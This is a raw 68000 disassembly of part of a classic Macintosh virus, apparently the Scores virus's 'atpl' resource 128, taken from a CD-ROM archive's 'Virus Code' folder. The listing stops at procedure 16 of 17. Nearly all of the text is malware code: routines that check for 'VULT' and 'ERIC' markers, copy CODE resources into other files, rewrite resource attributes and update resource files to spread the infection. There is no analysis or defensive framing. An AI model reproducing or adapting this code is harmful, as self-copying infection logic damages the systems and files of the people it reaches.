home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Viruses / Virus Code / Scores-ATPL128.txt < prev    next >
Text File  |  1997-10-13  |  17KB  |  617 lines
  1.  
  2. ;Seg 1 = atpl ID# 128 proc 1 of 17 (local)
  3.  
  4. 0000: L0000    MOVE.W    D0,D2
  5. 0002:     ***  0E10  ***    
  6. 0004:     ORI.B    #$00,D0
  7. 0008:     ORI.B    #$1E,(A0)+
  8. 000C:     ORI.B    #$2A,-(A4)    ;'*'
  9. 0010:     ORI.B    #$2E,$44(A0,D4.L)    ;'.'
  10. 0016:     MOVE.W    $7A(A0,D4.L),D1
  11. 001A:     ORI.W    #$6016,D0
  12. 001E:     PEA    L006E
  13. 0022:     BRA.S    L0034
  14. 0024:     PEA    L0096
  15. 0028:     BRA.S    L0034
  16. 002A:     PEA    L0082
  17. 002E:     BRA.S    L0034
  18. 0030:     PEA    L014E
  19. 0034: L0034    MOVEM.L    A0-A1,-(A7)
  20. 0038:     CLR.W    -(A7)
  21. 003A:     MOVE.L    A0,-(A7)
  22. 003C:     MOVE.L    A1,-(A7)
  23. 003E:     MOVEA.L    $0012(A7),A0
  24. 0042:     JSR    (A0)
  25. 0044:     MOVE.W    (A7)+,D0
  26. 0046:     MOVEM.L    (A7)+,A0-A1
  27. 004A:     ADDQ.W    #4,A7
  28. 004C:     BTST    #$0001,$0006(A0)
  29. 0052:     BNE.S    L0058
  30. 0054:     MOVE.L    $08FC,-(A7)
  31. 0058: L0058    RTS    
  32. 005A:     .WORD    $202F,8,$202F,4    ;[ /.. /..]
  33. 0062:     .WORD    $4240,$3F40,$C,$205F    ;[B@?@.. _]
  34. 006A:     .WORD    $508F,$4ED0,$202F,8    ;[P.N. /..]
  35. 0072:     .WORD    $202F,4,$4240,$3F40    ;[ /..B@?@]
  36. 007A:     .WORD    $C,$205F,$508F,$4ED0    ;[.. _P.N.]
  37. 0082: L0082    .WORD    $202F,8,$202F,4    ;[ /.. /..]
  38. 008A:     .WORD    $4240,$3F40,$C,$205F    ;[B@?@.. _]
  39. 0092:     .WORD    $508F,$4ED0,$48E7,$30    ;[P.N.H..0]
  40. 009A:     .WORD    $246F,$10,$226F,$C    ;[$o.."o..]
  41. 00A2:     .WORD    $2069,$14,$2050,$2668    ;[ i.. P&h]
  42. 00AA:     .WORD    4,$302A,$1A,$C40    ;[..0*...@]
  43. 00B2:     .WORD    $FFFF,$6D44,$6E02,$6008    ;[..mDn.`.]
  44. 00BA:     .WORD    $C40,$41,$663A,$600A    ;[.@.Af:`.]
  45. 00C2:     .WORD    $426B,$E,$426B,$1C    ;[Bk..Bk..]
  46. 00CA:     .WORD    $602E,$2069,$14,$2050    ;[`. i.. P]
  47. 00D2:     .WORD    $4A90,$6618,$2069,$14    ;[J.f. i..]
  48. 00DA:     .WORD    $2050,$7001,$2080,$2F0B    ;[ Pp. ./.]
  49. 00E2:     .WORD    $2F09,$4EBA,$24,$4240    ;[/.N..$B@]
  50. 00EA:     .WORD    $508F,$600E,$4A93,$6708    ;[P.`.J.g.]
  51. 00F2:     .WORD    $2F0B,$4EBA,$6C,$588F    ;[/.N..lX.]
  52. 00FA:     .WORD    $4240,$3F40,$14,$4CDF    ;[B@?@..L.]
  53. 0102:     .WORD    $C00,$205F,$508F,$4ED0    ;[.. _P.N.]
  54.  
  55. ;Seg 1 = atpl ID# 128 proc 2 of 17 (local)
  56.  
  57. 0000: L010A    LINK    A6,#$FF00
  58. 0004:     MOVEA.L    $0008(A6),A1
  59. 0008:     MOVEA.L    $000C(A6),A0
  60. 000C:     MOVE.W    $0018(A1),$0004(A0)
  61. 0012:     MOVE.W    $0018(A1),D0
  62. 0016:     EXT.L    D0
  63. 0018:     NEG.L    D0
  64. 001A:     SUBQ.L    #1,D0
  65. 001C:     ASL.L    #$0005,D0
  66. 001E:     ORI.L    #$0000C000,D0
  67. 0024:     MOVE.W    D0,$0006(A0)
  68. 0028:     MOVEQ    $01,D0
  69. 002A:     MOVE.L    D0,(A0)
  70. 002C:     CLR.W    $000E(A0)
  71. 0030:     MOVE.W    #$FFFF,$0010(A0)
  72. 0036:     CLR.W    $001A(A0)
  73. 003A:     CLR.W    $001C(A0)
  74. 003E:     MOVEQ    $00,D0
  75. 0040:     UNLK    A6
  76. 0042:     RTS    
  77. 0044: L014E    .WORD    $202F,8,$202F,4    ;[ /.. /..]
  78. 004C:     .WORD    $4240,$3F40,$C,$205F    ;[B@?@.. _]
  79. 0054:     .WORD    $508F,$4ED0,$2F0A,$246F    ;[P.N./.$o]
  80. 005C:     .WORD    8,$302A,$E,$6D00    ;[..0*..m.]
  81. 0064:     .WORD    $68,$C40,5,$6E60    ;[.h.@..n`]
  82. 006C:     .WORD    $D040,$303B,6,$4EFB    ;[.@0;..N.]
  83. 0074:     .WORD    2,$C,$14,$1C    ;[........]
  84. 007C:     .WORD    $24,$3A,$56,$357C    ;[.$.:.V5|]
  85. 0084:     .WORD    1,$E,$6042,$2F0A    ;[....`B/.]
  86. 008C:     .WORD    $4EBA,$42,$6038,$2F0A    ;[N..B`8/.]
  87. 0094:     .WORD    $4EBA,$332,$602A,$302A    ;[N..2`*0*]
  88. 009C:     .WORD    $1C,$526A,$1C,$C40    ;[..Rj...@]
  89. 00A4:     .WORD    $13,$6F24,$2F0A,$4EBA    ;[..o$/.N.]
  90. 00AC:     .WORD    $1D8,$6014,$302A,$1C    ;[..`.0*..]
  91. 00B4:     .WORD    $526A,$1C,$C40,$13    ;[Rj...@..]
  92. 00BC:     .WORD    $6F0E,$2F0A,$4EBA,$C2    ;[o./.N...]
  93. 00C4:     .WORD    $357C,5,$E,$588F    ;[5|....X.]
  94. 00CC:     .WORD    $245F,$4E75    ;[$_Nu....]
  95.  
  96. ;Seg 1 = atpl ID# 128 proc 3 of 17 (local)
  97.  
  98. 0000: L01DA    LINK    A6,#$FE54
  99. 0004:     MOVE.L    A2,-(A7)
  100. 0006:     MOVEA.L    $0008(A6),A2
  101. 000A:     CLR.L    $FFCE(A6)
  102. 000E:     MOVE.W    $0900,$FFDA(A6)
  103. 0014:     CLR.W    $FFDE(A6)
  104. 0018:     CLR.W    $FFD8(A6)
  105. 001C:     LEA    $FEC2(A6),A0
  106. 0020:     MOVE.L    A0,$FFD4(A6)
  107. 0024:     CLR.B    $FEC2(A6)
  108. 0028:     CLR.L    -(A7)
  109. 002A:     PEA    $FFC2(A6)
  110. 002E:     JSR    locProc9
  111. 0032:     TST.W    $FFD2(A6)
  112. 0036:     ADDQ.L    #8,A7
  113. 0038:     BNE    L0286
  114. 003C:     CLR.L    $FE62(A6)
  115. 0040:     MOVE.L    $FFD4(A6),$FE68(A6)
  116. 0046:     MOVE.L    $FFFC(A6),$FE86(A6)
  117. 004C:     MOVE.W    $FFF6(A6),$FE6C(A6)
  118. 0052:     CLR.W    $FE72(A6)
  119. 0056:     CLR.L    -(A7)
  120. 0058:     PEA    $FE56(A6)
  121. 005C:     JSR    locProc10
  122. 0060:     MOVE.W    D0,D0
  123. 0062:     ADDQ.L    #8,A7
  124. 0064:     BNE.S    L0286
  125. 0066:     MOVE.L    $FE7A(A6),D0
  126. 006A:     CMPI.L    #$56554C54,D0    ;'VULT'
  127. 0070:     BNE.S    L025A
  128. 0072:     MOVE.W    #$0001,$001A(A2)
  129. 0078:     MOVE.W    #$0003,$000E(A2)
  130. 007E:     BRA.S    L027C
  131. 0080: L025A    CMPI.L    #$45524943,D0    ;'ERIC'
  132. 0086:     BNE.S    L0270
  133. 0088:     MOVE.W    #$0001,$001A(A2)
  134. 008E:     MOVE.W    #$0004,$000E(A2)
  135. 0094:     BRA.S    L027C
  136. 0096: L0270    MOVE.W    #$0001,$001A(A2)
  137. 009C:     MOVE.W    #$0002,$000E(A2)
  138. 00A2: L027C    MOVE.W    $0900,$0010(A2)
  139. 00A8:     CLR.W    $001C(A2)
  140. 00AC: L0286    MOVEA.L    $FE50(A6),A2
  141. 00B0:     UNLK    A6
  142. 00B2:     RTS    
  143. 00B4:     .WORD    $48E7,$3820,$246F,$14    ;[H.8 $o..]
  144. 00BC:     .WORD    $558F,$A994,$301F,$3800    ;[U...0.8.]
  145. 00C4:     .WORD    $3F2A,$10,$A998,$4227    ;[?*....B']
  146. 00CC:     .WORD    $A99B,$7609,$7205,$2038    ;[..v.r. 8]
  147. 00D4:     .WORD    $20C,$4EBA,$692,$5240    ;[..N...R@]
  148. 00DC:     .WORD    $598F,$2F3C,$434F,$4445    ;[Y./<CODE]
  149. 00E4:     .WORD    $3F00,$A9A0,$201F,$2000    ;[?... . .]
  150. 00EC:     .WORD    $6712,$6024,$598F,$2F3C    ;[g.`$Y./<]
  151. 00F4:     .WORD    $434F,$4445,$5343,$3F03    ;[CODESC?.]
  152. 00FC:     .WORD    $A9A0,$201F,$4A80,$6608    ;[.. .J.f.]
  153. 0104:     .WORD    $C43,1,$6E00,$FFE6    ;[.C..n...]
  154. 010C:     .WORD    $4A43,$6F12,$4A80,$670E    ;[JCo.J.g.]
  155. 0114:     .WORD    $2F00,$4EBA,$1A,$3F2A    ;[/.N...?*]
  156. 011C:     .WORD    $10,$A999,$588F,$1F3C    ;[....X..<]
  157. 0124:     .WORD    1,$A99B,$3F04,$A998    ;[....?...]
  158. 012C:     .WORD    $4CDF,$41C,$4E75,$48E7    ;[L...NuH.]
  159. 0134:     .WORD    $3020,$246F,$10,$1F3C    ;[0 $o...<]
  160. 013C:     .WORD    1,$A99B,$2F0A,$A9A2    ;[..../...]
  161. 0144:     .WORD    $558F,$A9AF,$301F,$48C0    ;[U...0.H.]
  162. 014C:     .WORD    $3000,$6600,$5E,$558F    ;[0.f..^U.]
  163. 0154:     .WORD    $2F0A,$A9A6,$301F,$3600    ;[/...0.6.]
  164. 015C:     .WORD    $3003,$240,$FFF7,$2F0A    ;[0..@../.]
  165. 0164:     .WORD    $3F00,$A9A7,$2F0A,$4EBA    ;[?.../.N.]
  166. 016C:     .WORD    $4E8,$598F,$2F0A,$A9A5    ;[..Y./...]
  167. 0174:     .WORD    $201F,$E280,$2200,$2038    ;[ ...". 8]
  168. 017C:     .WORD    $20C,$4EBA,$5EA,$D092    ;[..N.....]
  169. 0184:     .WORD    $2040,$7400,$588F,$1210    ;[ @t.X...]
  170. 018C:     .WORD    $7000,$1001,$4680,$1080    ;[p...F...]
  171. 0194:     .WORD    $5282,$5288,$7006,$B082    ;[R.R.p...]
  172. 019C:     .WORD    $6E00,$FFEC,$2F0A,$A9AA    ;[n.../...]
  173. 01A4:     .WORD    $2F0A,$A9B0,$2F0A,$3F03    ;[/.../.?.]
  174. 01AC:     .WORD    $A9A7,$4CDF,$40C,$4E75    ;[..L...Nu]
  175. 01B4:     .WORD    $48E7,$3C30,$246F,$1C    ;[H.<0$o..]
  176. 01BC:     .WORD    $558F,$A994,$301F,$3800    ;[U...0.8.]
  177. 01C4:     .WORD    $3F2A,$10,$A998,$598F    ;[?*....Y.]
  178. 01CC:     .WORD    $2F3C,$434F,$4445,$3F3C    ;[/<CODE?<]
  179. 01D4:     .WORD    $D,$A9A0,$201F,$2640    ;[.... .&@]
  180. 01DC:     .WORD    $260B,$6610,$2F0A,$4EBA    ;[&.f./.N.]
  181. 01E4:     .WORD    $FED0,$3F04,$A998,$588F    ;[..?...X.]
  182. 01EC:     .WORD    $6000,$104,$1F3C,1    ;[`....<..]
  183. 01F4:     .WORD    $A99B,$2F0B,$A9A2,$2F0B    ;[../.../.]
  184. 01FC:     .WORD    $4EBA,$456,$558F,$2F0B    ;[N..VU./.]
  185. 0204:     .WORD    $A9A6,$301F,$3A00,$3005    ;[..0.:.0.]
  186. 020C:     .WORD    $240,$FFF7,$2F0B,$3F00    ;[.@../.?.]
  187. 0214:     .WORD    $A9A7,$598F,$2F0B,$A9A5    ;[..Y./...]
  188. 021C:     .WORD    $201F,$2600,$7202,$2038    ;[ .&.r. 8]
  189. 0224:     .WORD    $20C,$4EBA,$542,$2200    ;[..N..B".]
  190. 022C:     .WORD    $588F,$6F00,$78,$2013    ;[X.o..x .]
  191. 0234:     .WORD    $680,0,$472,$5C80    ;[.....r\.]
  192. 023C:     .WORD    $2040,$2203,$B288,$6306    ;[ @"...c.]
  193. 0244:     .WORD    $10FC,1,$4210,$2013    ;[....B. .]
  194. 024C:     .WORD    $680,0,$21DA,$5C80    ;[....!.\.]
  195. 0254:     .WORD    $2040,$2203,$B288,$6306    ;[ @"...c.]
  196. 025C:     .WORD    $4218,$10BC,2,$2013    ;[B..... .]
  197. 0264:     .WORD    $680,0,$21DA,$720A    ;[....!.r.]
  198. 026C:     .WORD    $D081,$2040,$2203,$B288    ;[.. @"...]
  199. 0274:     .WORD    $6308,$10FC,1,$10BC    ;[c.......]
  200. 027C:     .WORD    $C1,$2003,$E480,$2200    ;[.. ...".]
  201. 0284:     .WORD    $2038,$20C,$4EBA,$4E0    ;[ 8..N...]
  202. 028C:     .WORD    $D093,$2040,$4242,$1210    ;[.. @BB..]
  203. 0294:     .WORD    $7000,$1001,$4680,$1080    ;[p...F...]
  204. 029C:     .WORD    $5242,$5288,$C42,6    ;[RBR..B..]
  205. 02A4:     .WORD    $6C34,$60EA,$2003,$E280    ;[l4`. ...]
  206. 02AC:     .WORD    $2200,$2038,$20C,$4EBA    ;[". 8..N.]
  207. 02B4:     .WORD    $4B6,$D093,$2040,$4242    ;[.... @BB]
  208. 02BC:     .WORD    $600E,$1210,$7000,$1001    ;[`...p...]
  209. 02C4:     .WORD    $4680,$1080,$5242,$5288    ;[F...RBR.]
  210. 02CC:     .WORD    $3202,$48C1,$2003,$E480    ;[2.H. ...]
  211. 02D4:     .WORD    $B280,$6D00,$FFE6,$2F0B    ;[..m.../.]
  212. 02DC:     .WORD    $A9AA,$2F0B,$A9B0,$2F0B    ;[../.../.]
  213. 02E4:     .WORD    $3F05,$A9A7,$3F2A,$10    ;[?...?*..]
  214. 02EC:     .WORD    $A999,$3F04,$A998,$4CDF    ;[..?...L.]
  215. 02F4:     .WORD    $C3C,$4E75    ;[.<Nu....]
  216.  
  217. ;Seg 1 = atpl ID# 128 proc 4 of 17 (local)
  218.  
  219. 0000: L04D2    LINK    A6,#$FFF4
  220. 0004:     MOVEM.L    D2-D6/A2-A4,-(A7)
  221. 0008:     MOVEA.L    $0008(A6),A2
  222. 000C:     MOVE.W    $0010(A2),D5
  223. 0010:     SUBQ.L    #2,A7
  224. 0012:     _CurResFile    
  225. 0014:     MOVE.W    (A7)+,D0
  226. 0016:     MOVE.W    D0,$FFFE(A6)
  227. 001A:     MOVE.W    D5,-(A7)
  228. 001C:     _UseResFile    
  229. 001E:     SUBQ.L    #4,A7
  230. 0020:     MOVE.L    #$434F4445,-(A7)    ;'CODE'
  231. 0026:     CLR.W    -(A7)
  232. 0028:     _GetResource    
  233. 002A:     MOVE.L    (A7)+,D0
  234. 002C:     MOVE.L    D0,D3
  235. 002E:     SUBQ.L    #2,A7
  236. 0030:     _ResError    
  237. 0032:     MOVE.W    (A7)+,D0
  238. 0034:     EXT.L    D0
  239. 0036:     MOVE.W    D0,D0
  240. 0038:     BNE    L059C
  241. 003C:     TST.L    D3
  242. 003E:     BEQ    L059C
  243. 0042:     MOVE.L    D3,-(A7)
  244. 0044:     JSR    locProc12
  245. 0048:     SUBQ.L    #4,A7
  246. 004A:     MOVE.L    D3,-(A7)
  247. 004C:     _SizeRsrc    
  248. 004E:     MOVE.L    (A7)+,D0
  249. 0050:     MOVEA.L    D3,A4
  250. 0052:     MOVEA.L    (A4),A0
  251. 0054:     MOVE.L    (A0)+,D0
  252. 0056:     MOVE.L    (A0)+,D0
  253. 0058:     MOVE.L    (A0)+,D0
  254. 005A:     MOVE.L    (A0)+,D0
  255. 005C:     MOVEA.L    A0,A3
  256. 005E:     MOVEA.L    A3,A0
  257. 0060:     LEA    $FFF6(A6),A1
  258. 0064:     MOVE.L    (A0)+,(A1)+
  259. 0066:     MOVE.L    (A0)+,(A1)+
  260. 0068:     CMPI.W    #$0001,$0004(A3)
  261. 006E:     ADDQ.L    #4,A7
  262. 0070:     BNE    L059C
  263. 0074:     MOVE.L    $0016(A2),-(A7)
  264. 0078:     MOVE.L    $0012(A2),-(A7)
  265. 007C:     PEA    $FFF6(A6)
  266. 0080:     MOVE.W    D5,D0
  267. 0082:     EXT.L    D0
  268. 0084:     MOVE.L    D0,-(A7)
  269. 0086:     JSR    locProc5
  270. 008A:     MOVE.W    D0,D4
  271. 008C:     LEA    $0010(A7),A7
  272. 0090:     BLT    L059C
  273. 0094:     SUBQ.L    #2,A7
  274. 0096:     MOVE.L    D3,-(A7)
  275. 0098:     _GetResAttrs    
  276. 009A:     MOVE.W    (A7)+,D0
  277. 009C:     MOVE.W    D0,D6
  278. 009E:     MOVE.W    D6,D0
  279. 00A0:     ANDI.W    #$FFF7,D0
  280. 00A4:     MOVE.L    D3,-(A7)
  281. 00A6:     MOVE.W    D0,-(A7)
  282. 00A8:     _SetResAttrs    
  283. 00AA:     MOVE.W    D4,$0004(A3)
  284. 00AE:     MOVE.W    #$0008,(A3)
  285. 00B2:     MOVE.L    D3,-(A7)
  286. 00B4:     _ChangedResource    
  287. 00B6:     MOVE.L    D3,-(A7)
  288. 00B8:     _WriteResource    
  289. 00BA:     MOVE.L    D3,-(A7)
  290. 00BC:     MOVE.W    D6,-(A7)
  291. 00BE:     _SetResAttrs    
  292. 00C0:     MOVE.W    D5,-(A7)
  293. 00C2:     _UpdateResFile    
  294. 00C4:     MOVE.W    $FFFE(A6),-(A7)
  295. 00C8:     _UseResFile    
  296. 00CA: L059C    MOVEM.L    $FFD4(A6),D2-D6/A2-A4
  297. 00D0:     UNLK    A6
  298. 00D2:     RTS    
  299.  
  300. ;Seg 1 = atpl ID# 128 proc 5 of 17 (local)
  301.  
  302. 0000: L05A6    LINK    A6,#$FFF4
  303. 0004:     MOVEM.L    D2-D6/A2-A3,-(A7)
  304. 0008:     MOVE.W    $000A(A6),D3
  305. 000C:     MOVEA.L    $000C(A6),A2
  306. 0010:     MOVE.L    $0010(A6),D0
  307. 0014:     MOVE.L    D0,D6
  308. 0016:     CLR.B    -(A7)
  309. 0018:     _SetResLoad    
  310. 001A:     MOVEQ    $00,D5
  311. 001C: L05C2    SUBQ.L    #4,A7
  312. 001E:     MOVE.L    #$434F4445,-(A7)    ;'CODE'
  313. 0024:     MOVE.W    D5,-(A7)
  314. 0026:     _GetResource    
  315. 0028:     MOVE.L    (A7)+,D0
  316. 002A:     MOVE.L    D0,D4
  317. 002C:     BEQ.S    L05E4
  318. 002E:     SUBQ.L    #2,A7
  319. 0030:     MOVE.L    D4,-(A7)
  320. 0032:     _HomeResFile    
  321. 0034:     MOVE.W    (A7)+,D0
  322. 0036:     MOVE.W    D0,D1
  323. 0038:     CMP.W    D0,D3
  324. 003A:     BNE    L05F2
  325. 003E: L05E4    ADDQ.L    #1,D5
  326. 0040:     TST.L    D4
  327. 0042:     BEQ.S    L05F2
  328. 0044:     MOVEQ    $64,D0
  329. 0046:     CMP.L    D5,D0
  330. 0048:     BGT    L05C2
  331. 004C: L05F2    MOVE.B    #$01,-(A7)
  332. 0050:     _SetResLoad    
  333. 0052:     TST.L    D4
  334. 0054:     BEQ.S    L0602
  335. 0056:     MOVEQ    $FF,D0
  336. 0058:     BRA    L0688
  337. 005C: L0602    MOVE.L    $0014(A6),-(A7)
  338. 0060:     JSR    locProc11
  339. 0064:     MOVEA.L    D0,A3
  340. 0066:     MOVE.L    A3,-(A7)
  341. 0068:     JSR    locProc12
  342. 006C:     CLR.B    $FFF6(A6)
  343. 0070:     MOVEA.L    D6,A0
  344. 0072:     ADDQ.L    #4,A0
  345. 0074:     MOVEA.L    A0,A1
  346. 0076:     MOVEA.L    A2,A0
  347. 0078:     MOVE.L    (A0)+,(A1)+
  348. 007A:     MOVE.L    (A0)+,(A1)+
  349. 007C:     MOVE.L    $0014(A6),-(A7)
  350. 0080:     MOVE.L    (A3),-(A7)
  351. 0082:     MOVE.L    D6,-(A7)
  352. 0084:     JSR    locProc14
  353. 0088:     PEA    $FFF6(A6)
  354. 008C:     MOVE.W    D5,D0
  355. 008E:     EXT.L    D0
  356. 0090:     MOVE.L    D0,-(A7)
  357. 0092:     MOVE.L    #$434F4445,-(A7)    ;'CODE'
  358. 0098:     MOVE.L    A3,-(A7)
  359. 009A:     JSR    locProc15
  360. 009E:     SUBQ.L    #2,A7
  361. 00A0:     _ResError    
  362. 00A2:     MOVE.W    (A7)+,D0
  363. 00A4:     EXT.L    D0
  364. 00A6:     MOVE.W    D0,D0
  365. 00A8:     LEA    $0024(A7),A7
  366. 00AC:     BEQ.S    L066E
  367. 00AE:     PEA    $FFF6(A6)
  368. 00B2:     MOVE.W    D5,D0
  369. 00B4:     EXT.L    D0
  370. 00B6:     MOVE.L    D0,-(A7)
  371. 00B8:     MOVE.L    #$434F4445,-(A7)    ;'CODE'
  372. 00BE:     MOVE.L    A3,-(A7)
  373. 00C0:     JSR    locProc15
  374. 00C4:     LEA    $0010(A7),A7
  375. 00C8: L066E    MOVE.L    A3,-(A7)
  376. 00CA:     _ChangedResource    
  377. 00CC:     MOVE.L    A3,-(A7)
  378. 00CE:     _WriteResource    
  379. 00D0:     MOVE.L    A3,-(A7)
  380. 00D2:     MOVE.W    #$0020,-(A7)
  381. 00D6:     _SetResAttrs    
  382. 00D8:     MOVE.L    A3,-(A7)
  383. 00DA:     JSR    locProc13
  384. 00DE:     MOVE.L    D5,D0
  385. 00E0:     ADDQ.L    #4,A7
  386. 00E2: L0688    MOVEM.L    $FFD8(A6),D2-D6/A2-A3
  387. 00E8:     UNLK    A6
  388. 00EA:     RTS    
  389. 00EC:     .WORD    $4EBA,$D4    ;[N.......]
  390.  
  391. ;Seg 1 = atpl ID# 128 proc 6 of 17 (local)
  392.  
  393. 0000: L0696    LINK    A6,#$FFC0
  394. 0004:     LEA    $FFC0(A6),A0
  395. 0008:     MOVE.L    $0008(A6),$0012(A0)
  396. 000E:     MOVE.W    $000E(A6),$0016(A0)
  397. 0014:     _SetVol    
  398. 0016:     JMP    L0774
  399. 001A:     JSR    locProc8
  400. 001E:     LINK    A6,#$FFC0
  401. 0022:     LEA    $FFC0(A6),A0
  402. 0026:     MOVE.W    $000E(A6),$0016(A0)
  403. 002C:     MOVE.L    $0008(A6),$0012(A0)
  404. 0032:     _FlushVol    
  405. 0034:     JMP    L0774
  406. 0038:     MOVE.L    $0004(A7),D0
  407. 003C:     MOVE.L    D0,D1
  408. 003E:     MOVEA.L    $034E,A0
  409. 0042:     CMP.W    (A0),D1
  410. 0044:     BCC.S    L06E8
  411. 0046:     MOVEA.L    $14(A0,D1.W),A0
  412. 004A:     MOVE.W    $004E(A0),D1
  413. 004E:     MOVEQ    $00,D0
  414. 0050:     BRA.S    L06EE
  415. 0052: L06E8    MOVEQ    $00,D1
  416. 0054:     MOVE.W    #$FFCD,D0
  417. 0058: L06EE    MOVEA.L    $0008(A7),A0
  418. 005C:     MOVE.W    D1,(A0)
  419. 005E:     RTS    
  420. 0060:     .WORD    $4EBA,$70    ;[N..p....]
  421.  
  422. ;Seg 1 = atpl ID# 128 proc 7 of 17 (local)
  423.  
  424. 0000: L06FA    LINK    A6,#$FFB0
  425. 0004:     LEA    $FFB0(A6),A0
  426. 0008:     MOVE.L    $0008(A6),$0012(A0)
  427. 000E:     MOVE.W    $000E(A6),$0016(A0)
  428. 0014:     CLR.B    $001A(A0)
  429. 0018:     CLR.W    $001C(A0)
  430. 001C:     _GetFileInfo    
  431. 001E:     MOVE.W    D0,-(A7)
  432. 0020:     LEA    $0020(A0),A0
  433. 0024:     MOVEA.L    $0010(A6),A1
  434. 0028:     MOVEQ    $10,D0
  435. 002A:     _BlockMove    
  436. 002C:     LEA    $FFB0(A6),A0
  437. 0030:     MOVE.W    (A7)+,D0
  438. 0032:     JMP    L0774
  439. 0036:     JSR    locProc8
  440. 003A:     LINK    A6,#$FFB0
  441. 003E:     LEA    $FFB0(A6),A0
  442. 0042:     MOVE.L    $0008(A6),$0012(A0)
  443. 0048:     MOVE.W    $000E(A6),$0016(A0)
  444. 004E:     CLR.B    $001A(A0)
  445. 0052:     CLR.W    $001C(A0)
  446. 0056:     _GetFileInfo    
  447. 0058:     LEA    $0020(A0),A1
  448. 005C:     MOVEA.L    $0010(A6),A0
  449. 0060:     MOVEQ    $10,D0
  450. 0062:     _BlockMove    
  451. 0064:     LEA    $FFB0(A6),A0
  452. 0068:     _SetFileInfo    
  453. 006A:     JMP    L0774
  454.  
  455. ;Seg 1 = atpl ID# 128 proc 8 of 17 (local)
  456.  
  457. 0000: L0768    MOVE.L    $0008(A7),-(A7)
  458. 0004:     JSR    locProc16
  459. 0008:     ADDQ.W    #4,A7
  460. 000A:     RTS    
  461. 000C: L0774    .WORD    $3F00,$2F28,$12,$4EBA    ;[?./(..N.]
  462. 0014:     .WORD    $16A,$584F,$301F,$48C0    ;[.jXO0.H.]
  463. 001C:     .WORD    $4E5E,$4E75,$206F,4    ;[N^Nu o..]
  464. 0024:     .WORD    $202F,8,$6606,$7001    ;[ /..f.p.]
  465. 002C:     .WORD    $A260,$6004,$7001,$A660    ;[.``.p..`]
  466. 0034:     .WORD    $48C0,$4E75    ;[H.Nu....]
  467.  
  468. ;Seg 1 = atpl ID# 128 proc 9 of 17 (local)
  469.  
  470. 0000: L07A0    MOVEA.L    $0004(A7),A0
  471. 0004:     MOVE.L    $0008(A7),D0
  472. 0008:     BNE.S    L07B0
  473. 000A:     MOVEQ    $08,D0
  474. 000C:     _SPECIAL_HFS    
  475. 000E:     BRA.S    L07B4
  476. 0010: L07B0    MOVEQ    $08,D0
  477. 0012:     _SPECIAL_HFS    
  478. 0014: L07B4    EXT.L    D0
  479. 0016:     RTS    
  480.  
  481. ;Seg 1 = atpl ID# 128 proc 10 of 17 (local)
  482.  
  483. 0000: L07B8    MOVEA.L    $0004(A7),A0
  484. 0004:     CLR.B    $001A(A0)
  485. 0008:     MOVEA.L    $0004(A7),A0
  486. 000C:     MOVE.L    $0008(A7),D0
  487. 0010:     BNE.S    L07D0
  488. 0012:     MOVEQ    $09,D0
  489. 0014:     _SPECIAL_HFS    
  490. 0016:     BRA.S    L07D4
  491. 0018: L07D0    MOVEQ    $09,D0
  492. 001A:     _SPECIAL_HFS    
  493. 001C: L07D4    EXT.L    D0
  494. 001E:     RTS    
  495. 0020:     .WORD    $206F,4,$202F,8    ;[ o.. /..]
  496. 0028:     .WORD    $6604,$A207,$6002,$A607    ;[f...`...]
  497. 0030:     .WORD    $48C0,$4E75,$7000,$31C0    ;[H.Nup.1.]
  498. 0038:     .WORD    $220,$2008,$4E75    ;[.  .Nu..]
  499.  
  500. ;Seg 1 = atpl ID# 128 proc 11 of 17 (local)
  501.  
  502. 0000: L07F6    MOVE.L    $0004(A7),D0
  503. 0004:     _NewHandle    
  504. 0006:     JMP    L07EE
  505. 000A:     MOVEA.L    $0004(A7),A0
  506. 000E:     _GetHandleSize    
  507. 0010:     TST.L    D0
  508. 0012:     BPL.S    L0810
  509. 0014:     SUBA.W    A0,A0
  510. 0016:     JMP    L07EE
  511. 001A: L0810    MOVEA.L    D0,A0
  512. 001C:     JMP    L07EC
  513. 0020:     MOVE.L    $0008(A7),D0
  514. 0024:     MOVEA.L    $0004(A7),A0
  515. 0028:     _SetHandleSize    
  516. 002A:     JMP    L07EE
  517. 002E:     MOVEA.L    $0004(A7),A0
  518. 0032:     _RecoverHandle    
  519. 0034:     JMP    L07EC
  520.  
  521. ;Seg 1 = atpl ID# 128 proc 12 of 17 (local)
  522.  
  523. 0000: L082E    MOVEA.L    $0004(A7),A0
  524. 0004:     _HLock    
  525. 0006:     JMP    L07EE
  526.  
  527. ;Seg 1 = atpl ID# 128 proc 13 of 17 (local)
  528.  
  529. 0000: L0838    MOVEA.L    $0004(A7),A0
  530. 0004:     _HUnLock    
  531. 0006:     JMP    L07EE
  532.  
  533. ;Seg 1 = atpl ID# 128 proc 14 of 17 (local)
  534.  
  535. 0000: L0842    MOVE.L    $000C(A7),D0
  536. 0004:     MOVEA.L    $0008(A7),A1
  537. 0008:     MOVEA.L    $0004(A7),A0
  538. 000C:     _BlockMove    
  539. 000E:     JMP    L07EE
  540. 0012:     MOVE.L    D2,-(A7)
  541. 0014:     MOVE.L    $0008(A7),-(A7)
  542. 0018:     JSR    locProc16
  543. 001C:     _CreateResFile    
  544. 001E:     MOVE.L    $0008(A7),-(A7)
  545. 0022:     JSR    locProc17
  546. 0026:     ADDQ.W    #4,A7
  547. 0028:     MOVE.L    (A7)+,D2
  548. 002A:     RTS    
  549. 002C:     .WORD    $2F02,$4267,$2F2F,$A    ;[/.Bg//..]
  550. 0034:     .WORD    $4EBA,$3C,$A997,$2F2F    ;[N..<..//]
  551. 003C:     .WORD    $A,$4EBA,$64,$584F    ;[..N..dXO]
  552. 0044:     .WORD    $301F,$48C0,$241F,$4E75    ;[0.H.$.Nu]
  553.  
  554. ;Seg 1 = atpl ID# 128 proc 15 of 17 (local)
  555.  
  556. 0000: L088E    MOVE.L    D2,-(A7)
  557. 0002:     MOVE.L    $0008(A7),-(A7)
  558. 0006:     MOVE.L    $0010(A7),-(A7)
  559. 000A:     MOVE.W    $001A(A7),-(A7)
  560. 000E:     MOVE.L    $001E(A7),-(A7)
  561. 0012:     JSR    locProc16
  562. 0016:     _AddResource    
  563. 0018:     MOVE.L    $0014(A7),-(A7)
  564. 001C:     JSR    locProc17
  565. 0020:     ADDQ.W    #4,A7
  566. 0022:     MOVE.L    (A7)+,D2
  567. 0024:     RTS    
  568.  
  569. ;Seg 1 = atpl ID# 128 proc 16 of 17 (local)
  570.  
